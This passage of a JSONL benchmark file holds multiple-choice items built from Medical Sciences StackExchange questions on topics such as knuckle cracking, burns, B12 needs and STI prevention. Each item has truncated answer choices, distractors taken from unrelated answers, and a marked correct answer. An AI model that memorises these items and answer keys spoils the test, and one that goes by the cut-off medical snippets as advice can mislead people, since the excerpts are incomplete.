knuckles?", "question_body": "I constantly crack (or pop) my knuckles. Are there any negative (or positive) side effects to it? I like to crack my knuckles, but I want to stop if it can have negative effects. What have scientific studies said about this subject?", "question_score": 16, "question_tags": ["musculoskeletal-system"], "choices": {"A": "A common medical myth is that cracking your knuckles causes arthritis, but is has been shown that cracking your knuckles, and popping your joints in general, will not raise your risk for developing arthritis. 1 It has also been shown to not cause degenerative joint disease in your hand joints in old age. 2 However, cracking your knuckles does have some risks. One study from 1990, 3 showed that, while cracking your knuckles does not increase your risk of arthritis, it does impair your hand function. It was shown to lower grip strength and cause hand inflammation in habitual knuckle...", "B": "I'm guessing the \"iron\" test was actually a hemoglobin test (though I'm certainly no expert in blood donation screens...). I suspect your nurse is reporting a folk tale rather than any true difference. Unfortunately, medical professionals are not always an excellent source of scientific knowledge. I looked for papers that have actually compared measurements in the two hands. Here's one: Patel, A. J., Wesley, R., Leitman, S. F., & Bryant, B. J. (2013). Capillary versus venous haemoglobin determination in the assessment of healthy blood donors. Vox sanguinis, 104(4), 317–323. https://doi.org/10.1111/vox.12006 Capillary fingerstick samples were assayed by HemoCue in 150 donors....", "C": "The MSDS linked to is for a product sold as a solution of 10% SM-102 in 90% chloroform. It's listed as \"SM-102\" because that's the interesting/useful thing that the company is selling. It's common for chemicals to be sold packaged with solvents to make a solution. Sometimes that solvent is just water, but if the product is not water-soluble in sufficient concentrations then other solvents may be necessary. Alcohol solutions are quite common, but for more hydrophobic chemicals it may be necessary to use more \"exotic\" solvents. Because chloroform is quite a dangerous chemical for people to be exposed to...", "D": "Assuming the person is not taking anticoagulants, it's actually quite difficult to bleed to death from dismemberment of small members (hands, feet, penis, ears, nose, etc). Even large members such as arms and legs are often survivable because the body is very good at protecting itself from blood loss. For example, transected arteries will spasm and clamp off blood flow, and loss of blood will cause the body to divert blood flow away from the extremities and to the vital organs, thereby slowing the bleeding and allowing it to clot. In fact, the whole shock process can be viewed as..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/4058/are-there-any-side-effects-to-cracking-knuckles"} {"id": "medicine_5503", "domain": "medicine", "question_title": "How many times a week is masturbating good for health?", "question_body": "I'm 18 years old. Every weekend I watch a pornographic film and when it finishes, I do a hand job. In addition, on weekdays, I masturbate. My question is: Is it good for your health or not?", "question_score": 16, "question_tags": ["sex", "masturbation"], "choices": {"A": "Race and ethnicity are risk factors in many diseases. Examples include, but are not limited to, cystic fibrosis and spinal muscular atrophy. There is also an epidemiological purpose of collecting this information. It is important to know if some disease is affecting some races or some ethnicities disproportionately. This is how it was found out that race or ethnicity is a risk factor in certain diseases in the first place. RFERENCES: Sheets L, Johnson J, Todd T, Perkins T, Gu C, Rau M. Unsupported labeling of race as a risk factor for certain diseases in a widely used medical textbook....", "B": "I believe that those lines are craze lines. \"Craze lines are merely cracks in the enamel that do not extend into the dentin.\" They occur because of stress in your teeth, ie: grinding your teeth, biting your nails, and even routine use of your teeth. What you've said also matches up with craze lines in that you don't experience any pain. Those craze lines aren't nearly as bad as some other teeth. Craze lines rarely lead to tooth breakdown, so you almost definitely won't have to get them replaced. There are some studies that say that craze lines may be...", "C": "In the blister shown, the likelihood of rupture is decreased because of the thickness of the epidermis on the palm of the hand, so you can leave it alone until the underlying area re-epithelializes. You'll know this is happening because of the decreased pain and the slow reabsorption of the fluid. Eventually you will just peal it off what's left of the blister, finding clean new skin underneath. But this is a great starting point for an answer about the treatment of blisters in general: is it better to leave them alone, drain the fluid, or de-roof them (take the...", "D": "Let's get a few things out of the way... Sex is normal ( 1 ). Sexual desire and arousal are normal ( 2 ). Asexuality is normal ( 3 ). Masturbation is normal ( 4 ),( 5 ). There is no problem whatsoever with these three things, although everyone blushes when they talk about them. Is Masturbation healthy? Downsides : Masturbation is not risk free. It is about as dangerous as chewing or walking ( 6 ). Some side effects are irritated skin and ruptured penis, but only if you really, really, really overdo it (Once or twice a day..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/5503/how-many-times-a-week-is-masturbating-good-for-health"} {"id": "medicine_21481", "domain": "medicine", "question_title": "Why do corticosteroids harm COVID-19 patients?", "question_body": "This Science Daily article states that steroids could do more harm than good in treating coronavirus (COVID-19), referring to this The Lancet article . Understanding the evidence for harm or benefit from corticosteroids in 2019-nCoV is of immediate clinical importance. It's unclear to me how exactly the use of corticosteroids (which is a common treatments for Asthma patients) can do harm other than the vague explanation of \"steroids also impair the immune system's ability to fight viruses\". How exactly does the use of steroids harm the body in case of fighting a virus such as SARS-CoV-2 (2019-nCoV) that causes COVID-19?", "question_score": 16, "question_tags": ["covid-19", "asthma", "virus", "steroids", "corticosteroids"], "choices": {"A": "One of the primary purposes of corticosteroids is to suppress immune activity and inflammation: that's exactly why they are used in asthma. Of course the immune system has an actual job besides causing nuisance inflammation: fighting infection. For some infections, the harm to the infected person caused by the immune reaction itself is worse than that of the pathogen itself, so steroids can help prevent damage or ease symptoms while the immune system continues to mount a response, without being hyper active. For others, immune suppression may be detrimental. Corticosteroids mediate the immune response by suppressing a variety of cytokines...", "B": "Race and ethnicity are risk factors in many diseases. Examples include, but are not limited to, cystic fibrosis and spinal muscular atrophy. There is also an epidemiological purpose of collecting this information. It is important to know if some disease is affecting some races or some ethnicities disproportionately. This is how it was found out that race or ethnicity is a risk factor in certain diseases in the first place. RFERENCES: Sheets L, Johnson J, Todd T, Perkins T, Gu C, Rau M. Unsupported labeling of race as a risk factor for certain diseases in a widely used medical textbook....", "C": "In the blister shown, the likelihood of rupture is decreased because of the thickness of the epidermis on the palm of the hand, so you can leave it alone until the underlying area re-epithelializes. You'll know this is happening because of the decreased pain and the slow reabsorption of the fluid. Eventually you will just peal it off what's left of the blister, finding clean new skin underneath. But this is a great starting point for an answer about the treatment of blisters in general: is it better to leave them alone, drain the fluid, or de-roof them (take the...", "D": "It is likely you are not hearing the ultrasound itself (typical frequencies are upwards of 1 MHz , far beyond what the human hearing system is capable of detecting). You are probably hearing coil whine from the electronics -- switched-mode power supplies in particular tend to operate towards the upper end of the hearing range, and the intensity of this sound changes as the power consumption does (eg. when the imaging system goes from \"idle\" to \"active\")."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/21481/why-do-corticosteroids-harm-covid-19-patients"} {"id": "medicine_83", "domain": "medicine", "question_title": "Why does whooping cough last so long and can the duration of cough be reduced?", "question_body": "Whooping cough is a chronic cough resulting from an infection with the bacteria Bordetella Pertussis. The cough resulting from the infection may last several weeks, and as such whooping cough is sometimes called the 100 day cough. Why is it that the Bordetealla Pertussis infection produces a cough that lasts so long compared to other infections, and is there anything that can be done to reduce the cough's duration?", "question_score": 15, "question_tags": ["infection", "cough"], "choices": {"A": "Great question! I think it's answerable as an overview, but please know this is only the tip of the iceberg.* Summary : Yes, we have deficits of certain blood products in certain locations at certain times that affect patient care. However, a small percentage of blood product does expire unused (because it wasn't the right product [see background] in the right place at the right time). A little background Donated blood is not usually transfused into a patient as whole blood. Instead, it's broken down into several components which are transfused in different clinical scenarios. The issues of storage and...", "B": "As you have noted, the \"paroxysmal\" stage of a clinical case of pertussis, which involves the rapid, exhausting coughing fits and the characteristic \"whoop\" at the end can often be extremely long. While it usually lasts 1-6 weeks, it can persist for up to 10 weeks , followed by a convalescent period. One reason for the long duration of the cough is that by the time one has reached that phase of disease, they are largely beyond the help of antibiotics, which will not shorten the clinical course of the disease in infected patients , but are intended to prevent...", "C": "Because leprosy and multiple myeloma are conditions for which other treatment options are limited. All treatments have side effects, some more debilitating than others. The trick with pharmacology is to balance the benefit of treatment with the hazards of the side effects. Take cancer chemotherapy. The drugs we use for cancer chemotherapy are horrible poisons. We literally use derivatives of chemical weapons to treat cancer. Why do we deliberately poison cancer patients with what amounts to a weapon of mass destruction? Because if we don't, the cancer will kill them. In pharmacology there's a concept of a therapeutic window ....", "D": "There is evidence that neonatal circumcision saying that the benefits of circumcision outweigh the risks. According to a study done on neonatal circumcision [1] , the lifetime benefits of being circumcised outweighed the risks 100 to 1. Some of the risks people may associate with circumcision are very unlikely. Excessive bleeding only happens 0.1% of the time, infections 0.02% of the time, and loss of penis 0.0001% of the time. The percentage of death is only 0.00001%. Overall, it shows that males who have been circumcised require half as much medical attention as males who have not been circumcised. Also,..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/83/why-does-whooping-cough-last-so-long-and-can-the-duration-of-cough-be-reduced"} {"id": "medicine_252", "domain": "medicine", "question_title": "Would butter on burns help or harm?", "question_body": "I have read (a long time ago, in an old book) that butter is good for burns. Is this true, and if so what is it that helps? Is salted or unsalted butter better? And how should it be applied, and kept there?", "question_score": 15, "question_tags": ["first-aid", "burns", "home-remedies"], "choices": {"A": "I think a missing bit of information that might help you get a better sense of this practice is: steroids are miracle drugs. OK, that was in jest - no miracles here. Truth be told, though, if there is a single class of drugs that has added more quality-adjusted life-years to human history than any other, steroids must be competing with just a few antibiotic classes for that title. To make clear what we’re talking about, the term “steroid” as a label for drugs generally refers to glucocorticoids (GCs) - drugs that act like cortisol, an endogenous steroid hormone. Commonly...", "B": "Short anwser : Never put butter, oil, etc , on a burn. This would worsen the burn. Putting butter, oil, or anything else would trap heat and make the burn deeper. It would also make further treatment harder and would make the risk of infection higher : Don’t apply burn ointments. Like butter (or mayonnaise), these ointments, usually oil-based, won’t relieve pain but instead will trap heat, slow down healing, and increase the risk of infection. What to do instead : Once it happens, a burn is actually \"cooking inside\", and this for a while after the exposure, so the...", "C": "Note: The following is excerpted from an article written in 2005. For lay (Non trained) people, there are more updated recommendations. The following is an example of the process, not the current recommendations. To be effective, CPR must restore adequate coronary and cerebral blood flow. Interruptions in chest compressions lower coronary perfusion pressure and decrease rates of survival from cardiac arrest. In the first minutes of VF SCA, ventilation does not appear to be as important as chest compressions, but it does appear to contribute to survival from prolonged and asphyxial arrest. Certainly the ventilation rate needed to maintain a...", "D": "This has been a controversial dispute for a long time and it can involve a lot of personal opinion, but I will try to answer this as scientifically as possible. There hasn't been any viable evidence that vaccines do cause autism. Several different theories have been proposed on why vaccines could cause autism, such as the ingredient in some vaccines thimerosal being harmful, but these have all been disproved by many different experiments. Many reliable sources such as the CDC 1 says that there is no link between autism an vaccines. A 2011 report 2 from the Institute of Medicine..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/252/would-butter-on-burns-help-or-harm"} {"id": "medicine_3658", "domain": "medicine", "question_title": "Risks of blood donation with autoimmune diseases", "question_body": "People with autoimmune diseases are generally either forbidden or discouraged from donating blood. Example: People who have autoimmune diseases (such as autoimmune thyroid disease, ankylosing spondylitis) are advised not to donate blood. This is because there is a small risk of causing immune system disturbance and symptomatic disease in patients who receive blood from donors with autoimmune diseases. source Is there any more information in the literature about the cases? I'm especially interested in the \"causing symptomatic disease in patients who receive blood\" part.", "question_score": 15, "question_tags": ["blood", "autoimmune-disease", "blood-donation"], "choices": {"A": "I think a missing bit of information that might help you get a better sense of this practice is: steroids are miracle drugs. OK, that was in jest - no miracles here. Truth be told, though, if there is a single class of drugs that has added more quality-adjusted life-years to human history than any other, steroids must be competing with just a few antibiotic classes for that title. To make clear what we’re talking about, the term “steroid” as a label for drugs generally refers to glucocorticoids (GCs) - drugs that act like cortisol, an endogenous steroid hormone. Commonly...", "B": "The short version is that in 2016 the polio vaccine changed. A more thorough explanation requires some background on the immunology of polio and its vaccines, which is not straightforward. Polio virus is usually harmless, it reproduces in the gut and spreads through a fecal-oral route. In ~99% of infections it only causes mild diarrhea. In the remaining 1% of cases, however, it gets into the bloodstream and from there enters nerves, causing paralysis and/or respiratory failure. There are two types of vaccine: inactivated polio vaccine (IPV) and oral polio vaccine (OPV). IPV is a shot of killed virus particles...", "C": "The World Health Organization published a report entitled Blood Donor Selection: Guidelines on Assessing Donor Suitability for Blood Donation . Based on a review of scientific studies and other literature, it contains detailed recommendations for establishing blood donation programs, including which donors to accept or reject. It mentions several autoimmune diseases. From the non-communicable section (page 49), we have 5.1.4 Thrombocytopenia Individuals with thrombocytopenia should not be accepted as blood donors because of the risk of bleeding at the venepuncture site and because chronic thrombocytopenia may be associated with serious underlying haematological or other systemic disease. A past history of...", "D": "Because leprosy and multiple myeloma are conditions for which other treatment options are limited. All treatments have side effects, some more debilitating than others. The trick with pharmacology is to balance the benefit of treatment with the hazards of the side effects. Take cancer chemotherapy. The drugs we use for cancer chemotherapy are horrible poisons. We literally use derivatives of chemical weapons to treat cancer. Why do we deliberately poison cancer patients with what amounts to a weapon of mass destruction? Because if we don't, the cancer will kill them. In pharmacology there's a concept of a therapeutic window ...."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/3658/risks-of-blood-donation-with-autoimmune-diseases"} {"id": "medicine_30864", "domain": "medicine", "question_title": "Why is BMI related to the square of height?", "question_body": "I'm aware that the U.S. CDC defines BMI (Body Mass Index) as mass (in kg) divided by height squared (in meters squared.) The CDC then defines what ranges are considered underweight, healthy, or overweight broadly based on BMI (with different ranges by gender.) My question is: Why the square ? As any mechanical or civil engineer (or just anyone who is vaguely familiar with those topics) will know, if you scale something up proportionally, mass will scale with the cube of the increase in a particular dimension, not the square. Because, for a given material, mass is proportional to volume. Furthermore, since material strength usually scales with the cross-sectional area (not volume,) which is proportional only to the square of a particular dimension, making something larger usually requires scaling up supporting structures more than proportionally in order to maintain the same safety margins. (See: Square-Cube Law ) So, why are these principals not applied when dealing with human anatomy? Is there some reason why it isn't believed that humans should scale proportionally (or even super-proportionally in order to maintain similar load-bearing characteristics?)", "question_score": 15, "question_tags": ["anatomy", "body-mass-index-bmi"], "choices": {"A": "In the blister shown, the likelihood of rupture is decreased because of the thickness of the epidermis on the palm of the hand, so you can leave it alone until the underlying area re-epithelializes. You'll know this is happening because of the decreased pain and the slow reabsorption of the fluid. Eventually you will just peal it off what's left of the blister, finding clean new skin underneath. But this is a great starting point for an answer about the treatment of blisters in general: is it better to leave them alone, drain the fluid, or de-roof them (take the...", "B": "I think a missing bit of information that might help you get a better sense of this practice is: steroids are miracle drugs. OK, that was in jest - no miracles here. Truth be told, though, if there is a single class of drugs that has added more quality-adjusted life-years to human history than any other, steroids must be competing with just a few antibiotic classes for that title. To make clear what we’re talking about, the term “steroid” as a label for drugs generally refers to glucocorticoids (GCs) - drugs that act like cortisol, an endogenous steroid hormone. Commonly...", "C": "Assuming the person is not taking anticoagulants, it's actually quite difficult to bleed to death from dismemberment of small members (hands, feet, penis, ears, nose, etc). Even large members such as arms and legs are often survivable because the body is very good at protecting itself from blood loss. For example, transected arteries will spasm and clamp off blood flow, and loss of blood will cause the body to divert blood flow away from the extremities and to the vital organs, thereby slowing the bleeding and allowing it to clot. In fact, the whole shock process can be viewed as...", "D": "It turns out the answer to this is fairly simple, and but not terribly easy to find. In the 1800s a Belgian named Adolphe Quetelet (1796–1874) performed some statistics on the weights and heights of people in Europe and Britain (chiefly France and Britain) and published his seminal work, Sur l'homme et le développement de ses facultés, ou Essai de physique sociale (Treatise on Man and the Development of his Faculties, or Essays on Social Physics) in 1835. The relevant section for this can be found as a PDF for free (I believe) at the Wiley Publishing journal Obesity Research..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/30864/why-is-bmi-related-to-the-square-of-height"} {"id": "medicine_41", "domain": "medicine", "question_title": "How do tubes help treat ear infections?", "question_body": "My young son keeps getting ear infections. The otolaryngologist want to perform surgery to put tubes in his ear drums. How does putting a tube in the ear drum help with the ear infections?", "question_score": 14, "question_tags": ["otolaryngology", "infection", "treatment"], "choices": {"A": "Race and ethnicity are risk factors in many diseases. Examples include, but are not limited to, cystic fibrosis and spinal muscular atrophy. There is also an epidemiological purpose of collecting this information. It is important to know if some disease is affecting some races or some ethnicities disproportionately. This is how it was found out that race or ethnicity is a risk factor in certain diseases in the first place. RFERENCES: Sheets L, Johnson J, Todd T, Perkins T, Gu C, Rau M. Unsupported labeling of race as a risk factor for certain diseases in a widely used medical textbook....", "B": "Ear tubes do many things to help ear infections. The most important things they do are draining the ear of fluid and ventilating the ear. Overall, this will help your child hear better. The tubes also stop fluid from building up behind the ear drum, which should help prevent the ear infections. Stuff to watch out for There is always the possibility of ear infections coming back after the 6-12 months that the tubes will be in. There is also a minor chance of hearing loss because of scarring of the ear drum. The tube can become blocked, stopping it...", "C": "I'm guessing the \"iron\" test was actually a hemoglobin test (though I'm certainly no expert in blood donation screens...). I suspect your nurse is reporting a folk tale rather than any true difference. Unfortunately, medical professionals are not always an excellent source of scientific knowledge. I looked for papers that have actually compared measurements in the two hands. Here's one: Patel, A. J., Wesley, R., Leitman, S. F., & Bryant, B. J. (2013). Capillary versus venous haemoglobin determination in the assessment of healthy blood donors. Vox sanguinis, 104(4), 317–323. https://doi.org/10.1111/vox.12006 Capillary fingerstick samples were assayed by HemoCue in 150 donors....", "D": "I think a missing bit of information that might help you get a better sense of this practice is: steroids are miracle drugs. OK, that was in jest - no miracles here. Truth be told, though, if there is a single class of drugs that has added more quality-adjusted life-years to human history than any other, steroids must be competing with just a few antibiotic classes for that title. To make clear what we’re talking about, the term “steroid” as a label for drugs generally refers to glucocorticoids (GCs) - drugs that act like cortisol, an endogenous steroid hormone. Commonly..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/41/how-do-tubes-help-treat-ear-infections"} {"id": "medicine_435", "domain": "medicine", "question_title": "Does the usage of sunscreen cause skin cancer?", "question_body": "I have heard that usage of sunscreen products causes skin cancer. Is this true, and if so, what are the ingredients in it that are reason for such a medical condition. Are there any safe products or methods of application that they don't harm skin.", "question_score": 14, "question_tags": ["dermatology", "cancer"], "choices": {"A": "People could develop antibodies from natural exposure to the virus. The vaccine is trying to cause antibodies to exist in more people (and/or more strongly) than would express them naturally, therefore a good comparison group is a sample taken randomly in the same way as those getting the vaccine: a placebo group. At the same time, these trials tend to assess safety outcomes; again, to assess safety you want to know that effects are no worse than those in some comparison population. Comparing to placebo is typically a gold standard for this comparison. You're right that a placebo wouldn't be...", "B": "Assuming the person is not taking anticoagulants, it's actually quite difficult to bleed to death from dismemberment of small members (hands, feet, penis, ears, nose, etc). Even large members such as arms and legs are often survivable because the body is very good at protecting itself from blood loss. For example, transected arteries will spasm and clamp off blood flow, and loss of blood will cause the body to divert blood flow away from the extremities and to the vital organs, thereby slowing the bleeding and allowing it to clot. In fact, the whole shock process can be viewed as...", "C": "The potential health risks of sunscreen include: The absence of UVA filters combined with a longer exposure time of the sunscreen user 1995 , 2005 , 2007 , 2007 . Suppression of the skin's production of melanin, a natural broad-spectrum photoprotectant 1995 , 2004 . Skin penetration (free radical generation) by sunscreen chemicals 1996 , 1997 , 2006 , 2007 . Cytotoxic and carcinogenic effects of nanoparticles (zinc oxide (ZnO) and titanium dioxide (TiO2) toxicity) 1999 . However TGA study from 2006 ( PDF ) concluded: There is evidence from isolated cell experiments that zinc oxide and titanium dioxide can...", "D": "In general, the benefit of flu shots is to the general population. Taking the cited value of 40%-60% from the CDC, we can say that it might be a coin toss for you personally to be protected from influenza by the shot. However, if many thousands of people take the flu shot, even if it only works on 40% of them, it helps protect the remaining population from the spread of the virus (AKA herd immunity). This is especially important to those within the population who cannot access the shot or cannot receive it due to a preexisting medical condition...."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/435/does-the-usage-of-sunscreen-cause-skin-cancer"} {"id": "medicine_442", "domain": "medicine", "question_title": "What forms of prevention of STIs are there?", "question_body": "Other than the condom, are there any other methods of preventing contracting STIs? If so, do any of these also provide an effective form of contraception?", "question_score": 14, "question_tags": ["sti", "contraception", "sex"], "choices": {"A": "Most dentists - for most procedures - aim for a painless experience. If there is reason to keep some pain sensation intact, the dentist will inform you, and ask at appropriate intervals if you can feel pain. The efficacy of lidocaine and other local anesthetics depends on how closely your nerve distribution comes to the norm (they will inject the environs of the \"normal\" anatomical position of the nerve), how much anesthetic is injected, whether there are local factors which alter the local tissue pH (e.g. presence of an abscess or infection), how quickly it is removed from the site,...", "B": "The CDC lists two: complete abstinence, and being in a long-term mutually monogamous relationship with an uninfected partner . Sexual intercourse naturally introduces microtears (small tears in the the epithelial layer) through which diseases can transfer between partners. One might think that additional lubrication would help with this, but the jury is most definitely out on that. I think it's pretty safe to say that if there was another clinically verified way of preventing STDs, the CDC would have put it on this list . (For example, they note that there are specific things you can be vaccinated against, namely...", "C": "Products high in calcium and magnesium should not be taken at the same time as antibiotics of the tetracycline (tetracycline, doxicycline, etc.) class, and milk should also be avoided with the quinolone class. They have the ability to bind the antibiotic in the gut, decreasing absorption. There is no reason to avoid dairy products while taking other antibiotics (such as the penicillin class, the one you're taking. The clavulanic acid is to increase it's strength against certain bacteria.) If the antibiotic package insert (or the pharmacists's instruction sheet) states it should be taken on an empty stomach, take it with...", "D": "Race and ethnicity are risk factors in many diseases. Examples include, but are not limited to, cystic fibrosis and spinal muscular atrophy. There is also an epidemiological purpose of collecting this information. It is important to know if some disease is affecting some races or some ethnicities disproportionately. This is how it was found out that race or ethnicity is a risk factor in certain diseases in the first place. RFERENCES: Sheets L, Johnson J, Todd T, Perkins T, Gu C, Rau M. Unsupported labeling of race as a risk factor for certain diseases in a widely used medical textbook...."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/442/what-forms-of-prevention-of-stis-are-there"} {"id": "medicine_788", "domain": "medicine", "question_title": "How much Vitamin B12 do you need?", "question_body": "Vitamin B12 is stored over a very long time such that vegans, for example, only get any signs or symptoms of B12 deficiency after a span of years, even though they have hardly any sources of the vitamin in their diets. The dose required daily to prevent disease seems to vary dramatically, or maybe it is very hard to determine accurately. For example: This site says pregnant women need less than 3 micrograms (µg)/day (where pregnant women need more than non-pregnant women). A friend of mine got her blood values in order by ingesting 7 µg/day. My apothecary person told me 500-1000 µg per day are needed to even start absorbing meaningful quantities by ingestion. My doctor prescribed 200 µg/day for me. Another factor is that apparently your intestinal bacteria determine the rate of absorption. So what is the amount of B12 needed per day? Please note that this is not about deficient absorption, where the amount would be above what healthy people need.", "question_score": 14, "question_tags": ["obstetrics", "b-12-supplements", "absorption-absorb", "apothecary", "prenatal-vitamins"], "choices": {"A": "The estimated daily requirement needed to maintain body stores of B12 varies, an estimate being from 2µg to 5µg, more if stores have been depleted in any way. It is estimated that the average person stores about 1 mg (1000 µg) of B12 in their liver, and other smaller amounts elsewhere. The recommended daily allowance assumes a 50% absorption rate of ingested B12. This is a good question to discuss the limits of medical science. How is the requirement for B12 determined? Longitudinal studies are those that follow people over many years (even decades.) Humans are not subjected to longitudinal...", "B": "The short version is that in 2016 the polio vaccine changed. A more thorough explanation requires some background on the immunology of polio and its vaccines, which is not straightforward. Polio virus is usually harmless, it reproduces in the gut and spreads through a fecal-oral route. In ~99% of infections it only causes mild diarrhea. In the remaining 1% of cases, however, it gets into the bloodstream and from there enters nerves, causing paralysis and/or respiratory failure. There are two types of vaccine: inactivated polio vaccine (IPV) and oral polio vaccine (OPV). IPV is a shot of killed virus particles...", "C": "In general, the benefit of flu shots is to the general population. Taking the cited value of 40%-60% from the CDC, we can say that it might be a coin toss for you personally to be protected from influenza by the shot. However, if many thousands of people take the flu shot, even if it only works on 40% of them, it helps protect the remaining population from the spread of the virus (AKA herd immunity). This is especially important to those within the population who cannot access the shot or cannot receive it due to a preexisting medical condition....", "D": "The seasonal coronaviruses attach exclusively to cells with a ciliated epithelium. Coronaviruses invade the respiratory tract via the nose. After an incubation period of about 3 days, they cause the symptoms of a common cold, including nasal obstruction, sneezing, runny nose, and occasionally cough (Figs. 60-1 and 60-2). The disease resolves in a few days, during which virus is shed in nasal secretions. There is some evidence that the respiratory coronaviruses can cause disease of the lower airways but it is unlikely that this is due to direct invasion. Other manifestations of disease such as multiple sclerosis have been attributed..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/788/how-much-vitamin-b12-do-you-need"} {"id": "medicine_925", "domain": "medicine", "question_title": "Do adult braces have a medical need beyond cosmetics?", "question_body": "While middle/upper-class American parents often have their children get braces as teenagers, an adult getting braces out of his/her own volition could be viewed as a sign of vanity, much like plastic surgery. While in most communities, braces are seen as more socially acceptable than plastic surgery, both involve modifying the body to improve outward appearance to gain the attraction and respect of others. Do adult braces have a medical needs, are are they purely to alter cosmetic appearance?", "question_score": 14, "question_tags": ["dentistry", "cosmetics", "dental-braces", "teeth-alignment"], "choices": {"A": "Drug molecules, even when stored safely inside a tablet\\capsule, inside a closed container, upon a high shelf (hopefully), are still exposed to the environment, and are thus exposed to all of the chemical processes and reactions that go about all around us (to name just a few - oxidation, hydrolysis, isomerization, polymerization, and more). Depending on the type of drug molecule and its functional groups, the molecule may undergo all kinds of chemical processes that may change its structure and\\or properties. Therefore, drugs (and foodstuffs, as mentioned in the comment above) degrade and decompose over time, and are thus given...", "B": "In the blister shown, the likelihood of rupture is decreased because of the thickness of the epidermis on the palm of the hand, so you can leave it alone until the underlying area re-epithelializes. You'll know this is happening because of the decreased pain and the slow reabsorption of the fluid. Eventually you will just peal it off what's left of the blister, finding clean new skin underneath. But this is a great starting point for an answer about the treatment of blisters in general: is it better to leave them alone, drain the fluid, or de-roof them (take the...", "C": "There are certain types of malocclusion that are have been shown to adversely affect quality of oral health and quality of life, but these are far, far fewer than the number of people sporting braces, adult or adolescent. The need for braces in the average teen, therefore, is no greater than the average adult. If you think of braces for teens as a necessity, it is no less a necessity for adults, that is, appearance is probably the only significant result for both average teens and adults. However, increased longevity has led to the need to keep healthy teeth for...", "D": "Let's get a few things out of the way... Sex is normal ( 1 ). Sexual desire and arousal are normal ( 2 ). Asexuality is normal ( 3 ). Masturbation is normal ( 4 ),( 5 ). There is no problem whatsoever with these three things, although everyone blushes when they talk about them. Is Masturbation healthy? Downsides : Masturbation is not risk free. It is about as dangerous as chewing or walking ( 6 ). Some side effects are irritated skin and ruptured penis, but only if you really, really, really overdo it (Once or twice a day..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/925/do-adult-braces-have-a-medical-need-beyond-cosmetics"} {"id": "medicine_1098", "domain": "medicine", "question_title": "Does keeping different types of medications in one pill bottle affect their quality?", "question_body": "I take a number of different medications and herbal supplements. Because keeping separate containers in my pocketbook is cumbersome, I've been combining them together in the same prescription bottle. I'm wondering if this alters or diminishes their effectiveness. The combination includes: regular tablets, some of which have been cut in half; coated tablets; and capsules. The capsules are clear, made of plant-based hypromellose, and are filled with either powdered medication or ground herbs. There are no gel-caps or anything containing liquid. There's usually some fine powder in the bottom of the bottle, which I assume comes from the broken pills. Other than that, everything appears intact and not misshapen, stuck together, or otherwise compromised. Is there an overarching rule of thumb for this situation, or would it depend on the specific medications?", "question_score": 14, "question_tags": ["medications"], "choices": {"A": "No, this does not alter them, or make them less effective. There are problems with a scant amount of medicine crumbling, as you've noticed. The only real concern I'd have for anyone doing this is regarding the authorities: for example, while traveling out of the country, it's good to keep your medicines in their original prescription bottles because it supports you're assertion that the medicines are all prescribed to you . In my entire life, I had only one border agent question my medications. So even there, it's rare. As long as you can tell which pill is which, this...", "B": "This has been a controversial dispute for a long time and it can involve a lot of personal opinion, but I will try to answer this as scientifically as possible. There hasn't been any viable evidence that vaccines do cause autism. Several different theories have been proposed on why vaccines could cause autism, such as the ingredient in some vaccines thimerosal being harmful, but these have all been disproved by many different experiments. Many reliable sources such as the CDC 1 says that there is no link between autism an vaccines. A 2011 report 2 from the Institute of Medicine...", "C": "Assuming the person is not taking anticoagulants, it's actually quite difficult to bleed to death from dismemberment of small members (hands, feet, penis, ears, nose, etc). Even large members such as arms and legs are often survivable because the body is very good at protecting itself from blood loss. For example, transected arteries will spasm and clamp off blood flow, and loss of blood will cause the body to divert blood flow away from the extremities and to the vital organs, thereby slowing the bleeding and allowing it to clot. In fact, the whole shock process can be viewed as...", "D": "Products high in calcium and magnesium should not be taken at the same time as antibiotics of the tetracycline (tetracycline, doxicycline, etc.) class, and milk should also be avoided with the quinolone class. They have the ability to bind the antibiotic in the gut, decreasing absorption. There is no reason to avoid dairy products while taking other antibiotics (such as the penicillin class, the one you're taking. The clavulanic acid is to increase it's strength against certain bacteria.) If the antibiotic package insert (or the pharmacists's instruction sheet) states it should be taken on an empty stomach, take it with..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/1098/does-keeping-different-types-of-medications-in-one-pill-bottle-affect-their-qual"} {"id": "medicine_1101", "domain": "medicine", "question_title": "Reversing sleep cycle", "question_body": "I have been a nocturnal for some period of time and thus altering the sleep cycle seems difficult i.e. moving back to the normal 10 to 5 sleep cycle. What can be done to revert back to the normal sleep cycle? Should I need to skip a day of sleep or you recommend any health hack?", "question_score": 14, "question_tags": ["sleep-cycles", "productivity"], "choices": {"A": "There are quite a few things you can do to \"reset\" your sleep 